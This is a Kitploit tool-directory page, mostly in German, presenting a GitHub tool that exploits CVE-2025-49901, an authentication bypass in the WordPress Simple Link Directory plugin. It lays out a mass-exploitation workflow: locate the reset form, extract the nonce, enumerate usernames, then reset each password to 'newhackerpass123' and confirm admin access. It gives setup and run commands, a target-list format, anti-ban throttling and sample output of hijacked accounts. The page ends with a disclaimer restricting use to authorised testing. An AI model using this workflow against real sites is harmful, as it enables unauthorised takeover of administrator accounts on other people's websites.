Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-49901 — Das WordPress Simple Link Directory Plugin < 14.8.1 ist anfällig für Broken Authentication mit hoher Priorität. | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-49901
Authentifizierung & AutorisierungAufklärungPasswortangriffeSchwachstellenanalyseExploitationWebanwendungs-Exploitation
GitHubnxploited/cve-2025-49901

CVE-2025-49901

Das WordPress Simple Link Directory Plugin < 14.8.1 ist anfällig für Broken Authentication mit hoher Priorität.

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-49901

Das WordPress-Plugin Simple Link Directory < 14.8.1 ist anfällig für eine Broken Authentication mit hoher Priorität

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════╗
║        CVE-2025-49901  ·  Simple Link Directory  ·  qc-opd       ║
║           Authentication Bypass → Password Reset → RCE           ║
╚═══════════════════════════════════════════════════════════════════╝

CVE CVSS Plugin Auth Python Author

▸ Schwachstelle

Das qc-opd-Passwort-Zurücksetzungsformular auf SLD-Seiten akzeptiert einen Benutzernamen und ein neues Passwort, ohne die Identität des Benutzers über ein Token, eine E-Mail-Bestätigung oder eine Berechtigungsprüfung zu verifizieren. Ein nicht authentifizierter Angreifer kann WordPress-Benutzernamen enumerieren, das Zurücksetzungsformular für jedes Konto einreichen und sich sofort mit dem injizierten Passwort authentifizieren — und erlangt so Administratorzugriff ohne jegliche Interaktion des Zielbenutzers.

▸ Angriffsablauf

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  1. Locate SLD reset page                               │
│     Probe 28+ paths → match: "sld" + "_wpnonce" + form  │
│                                                         │
│  2. Extract nonce                                       │
│     Parse _wpnonce from HTML / JS / qc-opd-nonce        │
│                                                         │
│  3. Enumerate usernames                                 │
│     /?author=1..10  +  /wp-json/wp/v2/users  + hostname │
│                                                         │
│  4. Reset password for each username                    │
│     POST qc-restore-pwd=restore                         │
│         qc-uid=<username>                               │
│         pass=newhackerpass123                           │
│         _wpnonce=<nonce>                                │
│                                                         │
│  5. Verify access (dual mode)                           │
│     Session mode  → cookie check + /wp-admin/ probes    │
│     Password mode → wp-login.php + admin panel check    │
│                                                         │
│  6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘

▸ Einrichtung

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py

requirements.txt

root@kitploit:~
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0

▸ Verwendung

root@kitploit:~
Targets list file          →  list.txt  (one host per line)
Threads                    →  default 5
HTTP timeout               →  default 10s
Per-user delay MIN/MAX     →  anti-ban throttle  (default 0.3 / 0.7s)
Delay between sites        →  default 1.0s
Output file                →  scan_results/reset_mass_success.txt

Format der Zielliste:

root@kitploit:~
https://target1.com
target2.com
http://target3.com/wordpress

Festes Passwort, das für alle Zurücksetzungen injiziert wird:

root@kitploit:~
newhackerpass123

▸ Quellen der Benutzernamen-Enumeration

MethodeEndpunkt
Autor-Umleitung/?author=1 →

▸ Admin-Verifizierungslogik

Nach jedem Zurücksetzungsversuch verifiziert das Tool den Zugriff mithilfe von zwei unabhängigen Methoden:

root@kitploit:~
Session mode   →  checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode  →  full wp-login.php POST + multi-path admin panel probe

Geprüfte Admin-Indikatoren:

root@kitploit:~
id="adminmenu"  ·  id="wpadminbar"  ·  id="wpwrap"
users.php  ·  plugins.php  ·  plugin-install-tab  ·  upload-plugin

▸ Terminal-Ausgabeformat

root@kitploit:~
[HH:MM:SS] [https://target.com] NONCE: OK   | RESET: OK   | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: -    | ACCESS: 0 HIT

▸ Ausgabedatei

scan_results/reset_mass_success.txt

root@kitploit:~
[2025-06-01T14:22:10] https://target.com - account=admin  pass=newhackerpass123  mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123  mode=session

▸ Autor

root@kitploit:~
Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram

▸ Haftungsausschluss

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.

© 2025 Nxploited · Simple Link Directory < 14.8.1 · Behoben in 14.8.1

Tool herunterladen
CVECVE-2025-49901
CVSS9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
Pluginquantumcloud Simple Link Directory (qc-simple-link-directory)
BetroffenAlle Versionen < 14.8.1
AuthentifizierungKeine erforderlich
TypAuthentication-Bypass über alternativen Pfad (CWE-288)
CWECWE-288 · Authentication-Bypass über einen alternativen Pfad oder Kanal
/?author=10
REST-API/wp-json/wp/v2/users
HostnameErstes Label der Domain als Fallback
Fest codiertadmin immer enthalten